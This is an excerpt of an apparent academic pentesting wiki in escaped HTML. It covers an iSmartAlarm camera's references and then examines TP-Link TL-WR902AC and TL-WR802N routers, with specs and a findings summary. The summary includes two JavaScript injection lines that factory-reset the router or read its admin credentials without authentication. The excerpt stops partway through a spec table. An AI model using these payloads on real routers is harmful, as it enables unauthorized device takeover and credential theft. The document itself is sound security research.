&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Product&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/spot (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Support&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/support/support-center (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Specification&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/support/cameras/specifications-and-manuals/specifications-spot/article-214316708.html (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Installation&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/support/cameras/specifications-and-manuals/quick-installation-guide-spot/article-234696467.html (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;FCCIO&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://fccid.io/SENISC5 (accessed 28 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;U-Boot&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Manual&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;http://www.denx.de/wiki/DULG/Manual (Accessed: 20. October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Memory Dump&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;http://www.denx.de/wiki/view/DULG/UBootCmdGroupMemory#Section_UBootCmdMd (Accessed: 20. October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Vulnerability Reports&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;infosecurity-magazine&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.infosecurity-magazine.com/news/iot-smart-alarm-vulnerabilities/&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;BullGuard&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.bullguard.com/de/press/press-releases/2017/vom-hacker-zum-einbrecher-bullguard-und-dojo-ide.aspx&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Ilia Shnaidman&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://packetstormsecurity.com/files/143344/iSmartAlarm-Backend-Server-Side-Request-Forgery.html&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Used Hardware&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[[ISmartAlarm® ISC5 SPOT IP-Camera]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_TP-Link_devices&amp;diff=14610</id>
		<title>Examination of TP-Link devices</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_TP-Link_devices&amp;diff=14610"/>
		<updated>2024-03-12T17:25:56Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;With a market share of over 40 percent of the global consumer WLAN market, TP-Link is the No. 1 WLAN provider.&amp;quot; &amp;lt;sup&amp;gt;[[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ IDC Q4/2018]]&amp;lt;/sup&amp;gt; The TP-Link AC750 Wifi Travel Router (TL-WR902AC FW170828) transmittes Base64 encoded username:password as Authorisation cookie on every GET/POST request over non-encrypted HTTP. In addition, this is transmitted every 20 seconds in the form of a heartbeat message. But these credentials aren&#039;t even necessary, since tons of different CGI actions, ranging from Getter and Setter to System modifications, can be called from the login screen using JavaScript Injection (e.g. Factory reset: &amp;lt;code&amp;gt;$.act(ACT_OP, ACT_OP_FACTORY_RESET); $.act(ACT_OP, ACT_OP_REBOOT); $.exe();&amp;lt;/code&amp;gt;; Get Login Credentials: &amp;lt;code&amp;gt;$.act(ACT_GET, USER_CFG, null, null, [&amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;]); $.exe();&amp;lt;/code&amp;gt;) without the need of any authorization.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;TP-Link is a worldwide leading manufacturer of Smart - Communication products which has made a name for itself in Europe, especially in the D-A-CH region, through efficient, reliable products and services. TP-Link Deutschland GmbH has been in existence since April 2009. Through their renowned distribution, online and retail partners, they sell an extensive range of award-winning SOHO products (WLAN, DSL, Powerline, Repeater, UMTS/LTE, print servers, IP cameras, smart home and smart phones) and SMB products (switch, router, SFP modules, media converters, network adapters). With a market share of over 40 percent of the global consumer WLAN market, TP-Link is the No. 1 WLAN provider&amp;lt;sup&amp;gt;[IDC Q4/2018]&amp;lt;/sup&amp;gt;. Their goal is to provide the ever-growing number of users with products of the highest quality and performance while maintaining competitive prices, and thus remain the No.1 in the long term. In 2018, TP-Link sold 200 million devices worldwide, generating sales of around USD 2.2 billion. The company currently employs around 26,000 people worldwide (as of January 2019).&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/at/about-us/corporate-profile/ TP-Link Profile]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;TL-WR902AC: AC750 Wifi - Travel Router&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The incredibly compact TL-WR902AC is the world’s first AC750 travel router. It creates a personal Wi-Fi spot anywhere internet is available and transforms any internet connection into a private AC750 dual-band Wi-Fi network. The TL-WR902AC supports Router, Hotspot, Range Extender, Client and Access Point Modes.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ Product]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;TL-WR802N: 300Mbps Wireless N - Nano Router&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The TL-WR802N is the smallest wireless router in the world. It is very easy to use and is a perfect choice for travelers, students, and anyone else who lives life on the go. The TL-WR802N can be powered using the included power adapter or using a smartphone /USB charger. To meet the wireless needs of almost any situation you might encounter, the TL-WR802N supports Router, Hotspot, Range Extender, Client and Access Point Modes.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr802n/ Product]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The analyzed device has Hardware V4 but the Austrian webpage only supports V1 and V2 ([https://www.tp-link.com/at/support/download/tl-wr802n/v1/#Firmware Link]). But the German webpage supports Harware V1 to V4 ([https://www.tp-link.com/de/support/download/tl-wr802n/v1/#Firmware Link]) like most of the other regional support webpages.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Mode&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Router Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Create a private Wi-Fi network for Ethernet-based internet access.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Hotspot Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Connect to an outdoor WISP Access Point, enjoy a private Wi-Fi hotspot for your devices in public areas.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Range Extender Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Extend your existing Wi-Fi network to maximize coverage and eliminate dead zones.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Client Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Allow devices that require a wired connection to access an existing Wi-Fi network.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Access Point Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Create a wireless network for Wi-Fi enabled devices.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Examination&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Summary&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; width: calc(100% - 12px);; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Collected Information&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Device Model&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;TL-WR902AC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;TL-WR802N&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Manufacturer&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TP-Link&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TP-Link&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Product Type&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;AC750 Wifi Travel Router&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;300 Mbps Wireless Nano Router&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Transforms any internet connection into a private AC750 dual-band Wi-Fi network&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;The the smallest wireless N router in the world.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Price on Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;38€&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;28€&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2017 Q1 (Ongoing as of July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2015 Q2 (Ongoing as of July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;State of Research&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Multiple vulnerabilities&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Some vulnerabilities, Ongoing Examination&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;USB 2.0, 10/100Mbps WAN/LAN Port&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;10/100 Mbps WAN/LAN Port&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Buttons&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Reset, WPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Reset&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;LED&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Power/Status, WAN, WLAN, USB&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Power/Status&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Power&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;5V/2A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;5V/1A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 802.11b/g/n (Up to 300Mbps), 5GHz: 802.11ac/n/a (Up to 433Mbps)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 802.11b/g/n (Up to 300Mbps)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;3 Mode Switch&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;FCC-ID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TE7WR902ACV3&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TE7WR802NV4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;System&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Ralink APSoC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Processor&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;MT7628 MIPS24KEc V5.5 (580 MHz)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BogoMIPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;386.04&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Memory&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;DRAM: 64MB (16bit)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Storage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Boot from: SPI Flash GD25Q64B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ethernet MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
